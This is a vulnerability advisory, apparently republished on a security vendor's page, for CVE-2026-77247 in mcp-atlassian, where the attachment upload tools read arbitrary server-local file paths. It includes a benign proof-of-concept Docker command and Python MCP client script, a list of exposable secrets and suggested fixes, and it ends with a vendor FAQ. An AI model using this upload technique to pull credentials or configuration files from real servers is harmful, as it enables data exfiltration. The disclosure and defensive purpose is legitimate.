Summary
MCP Atlassian: Arbitrary server-local file upload to Jira/Confluence attachments via unrestricted file_path parameters
The Jira and Confluence attachment upload tools accept caller-controlled file path parameters and read those paths from the MCP server's local filesystem before uploading the file as an Atlassian attachment.
In local stdio deployments, this can expose files readable by the user's MCP process. In documented HTTP/SSE or streamable-http deployments, the impact is higher: any MCP client that is allowed to invoke write/upload tools can cause the server process to read a server-local file and upload it to Jira or Confluence.
This is not dependent on an AI prompt injection or model behavior. It can be triggered deterministically with a normal MCP tool call.
Details
The vulnerable behavior exists because upload tool arguments are treated as server-local filesystem paths.
Relevant implementation points:
mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachment- Accepts
file_path. - Converts the supplied value to an absolute path when needed.
- Checks existence with
os.path.exists. - Passes the path into the attachment upload flow.
- Accepts
mcp_atlassian.confluence.attachments.AttachmentsMixin._upload_attachment_direct- Opens the supplied
file_pathwithopen(file_path, "rb"). - Sends the resulting file object as multipart form data to Confluence.
- Opens the supplied
mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachments- Iterates caller-supplied
file_paths. - Calls
upload_attachmentfor each path.
- Iterates caller-supplied
mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachment- Accepts
file_path. - Converts the supplied value to an absolute path when needed.
- Checks existence with
os.path.exists. - Opens the file and uploads it as a Jira attachment.
- Accepts
mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachments- Iterates caller-supplied
file_paths. - Calls
upload_attachmentfor each path.
- Iterates caller-supplied
mcp_atlassian.servers.jira.update_issue- Accepts an
attachmentsargument as a JSON array string or comma-separated string. - Converts it into attachment paths and passes them into the Jira update flow.
- Accepts an
The project also documents non-stdio deployment modes:
ssestreamable-http- multi-user authentication
- Docker and Kubernetes deployment
Therefore the upload path arguments should not be treated as if they always come from a single fully trusted local desktop user. In an HTTP or multi-user deployment, the caller and the server-local filesystem are separate security boundaries.
The core issue is that the MCP caller can choose a path, while the MCP server reads that path using the server process privileges and sends the bytes to a remote Jira or Confluence attachment endpoint.
Expected behavior:
- Server-local file uploads should be denied by default in HTTP/SSE or multi-user deployments, or
- Uploads should be constrained to an explicit allowlisted upload directory after realpath resolution, and
- Dangerous path forms such as remote UNC paths and
file://URLs should be rejected before filesystem checks.
PoC
The following proof of concept uses a benign temporary file generated at runtime. It does not rely on prompt injection or any AI/LLM behavior. It uses a normal MCP client call against a test Confluence page controlled by the tester.
Prerequisites:
- A test Confluence site.
- A test page content ID where the tester is allowed to upload attachments.
- A test Confluence API token or another supported authentication method.
- Python 3.10 or newer.
Start mcp-atlassian in HTTP mode:
docker run --rm -p 9000:9000 \
-e CONFLUENCE_URL="https://<your-test-site>.atlassian.net/wiki" \
-e CONFLUENCE_USERNAME="<tester-email>" \
-e CONFLUENCE_API_TOKEN="<tester-api-token>" \
ghcr.io/sooperset/mcp-atlassian:latest \
--transport streamable-http --host 0.0.0.0 --port 9000
Install the MCP Python client:
python -m pip install "mcp>=1.8.0"
Run this standalone client script:
import asyncio
import os
import tempfile
from pathlib import Path
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def main() -> None:
mcp_url = os.environ.get("MCP_URL", "http://127.0.0.1:9000/mcp")
content_id = os.environ["CONFLUENCE_CONTENT_ID"]
proof_dir = Path(tempfile.mkdtemp(prefix="mcp-atlassian-proof-"))
proof_file = proof_dir / "server-local-proof.txt"
proof_file.write_text(
"This benign file was read from the MCP server filesystem and uploaded by an MCP tool call.\n",
encoding="utf-8",
)
async with streamablehttp_client(mcp_url) as (read_stream, write_stream, _):
async with ClientSession(read_stream, write_stream) as session:
await session.initialize()
result = await session.call_tool(
"confluence_upload_attachments",
{
"content_id": content_id,
"file_paths": str(proof_file),
"comment": "Security test: benign server-local upload proof",
"minor_edit": True,
},
)
print(result)
print(f"Uploaded test filename: {proof_file.name}")
if __name__ == "__main__":
asyncio.run(main())
Run it with the test page ID:
CONFLUENCE_CONTENT_ID="<test-page-content-id>" python poc.py
Observed result:
- The MCP client sends a normal
confluence_upload_attachmentstool call. - The MCP server reads the temporary file from its own filesystem.
- The MCP server uploads that file as an attachment to the configured Confluence page.
- The uploaded attachment appears on the test page.
Security significance:
- The MCP caller did not need shell access to the server.
- The MCP caller did not need direct filesystem access to the server.
- The MCP caller only needed permission to invoke the upload tool.
- The file read happened with the privileges of the MCP server process.
The same class of issue applies to Jira attachment upload flows that accept caller-controlled file path parameters.
Impact
This is a server-local file disclosure and exfiltration primitive through attachment upload tools.
Impacted users:
- Users running
mcp-atlassianwith write/upload tools enabled. - Operators exposing
mcp-atlassianthroughsseorstreamable-http. - Multi-user deployments where MCP callers are not fully trusted with arbitrary read access to the MCP server filesystem.
- Docker or Kubernetes deployments where the MCP process can read environment files, mounted secrets, service account tokens, application configuration, or shared volumes.
Potential attacker:
- A malicious or compromised MCP client with permission to invoke attachment upload tools.
- A malicious user in a multi-user MCP deployment.
- An attacker who can supply or influence MCP tool arguments through an integrated workflow.
Potentially exposed data depends on the deployment, but can include files readable by the MCP server process, such as:
- application configuration
- deployment secrets
- cloud or service credentials mounted into the runtime
- CI/CD or automation tokens
- other files available to the MCP server user
This issue does not require prior compromise of the internal network in deployments where the MCP service is intentionally exposed over HTTP/SSE to multiple users or external MCP clients. The attacker only needs the ability to invoke the upload tool. The server then reads the chosen path with its own process privileges and uploads it to Jira or Confluence.
If the intended security model is that every MCP caller is fully trusted with arbitrary read access to the server filesystem, that should be documented explicitly. Otherwise, server-local file path uploads should be opt-in and constrained to a configured upload root.
Suggested fixes:
- Default-deny server-local path uploads in HTTP/SSE and multi-user deployments.
- Add an explicit opt-in flag for server-local upload paths.
- Require an allowlisted upload root and enforce it after realpath resolution.
- Reject
file://URLs and remote UNC path forms before any filesystem operation. - Prefer client-provided file/resource blobs over server-local path strings for remote MCP deployments.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
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Frequently Asked Questions
- What is CVE-2026-77247? CVE-2026-77247 is a high-severity security vulnerability in mcp-atlassian (pip), affecting versions < 0.22.0. It is fixed in 0.22.0.
- Which versions of mcp-atlassian are affected by CVE-2026-77247? mcp-atlassian (pip) versions < 0.22.0 is affected.
- Is there a fix for CVE-2026-77247? Yes. CVE-2026-77247 is fixed in 0.22.0. Upgrade to this version or later.
- Is CVE-2026-77247 exploitable, and should I be worried? Whether CVE-2026-77247 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-77247 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-77247? Upgrade
mcp-atlassianto 0.22.0 or later.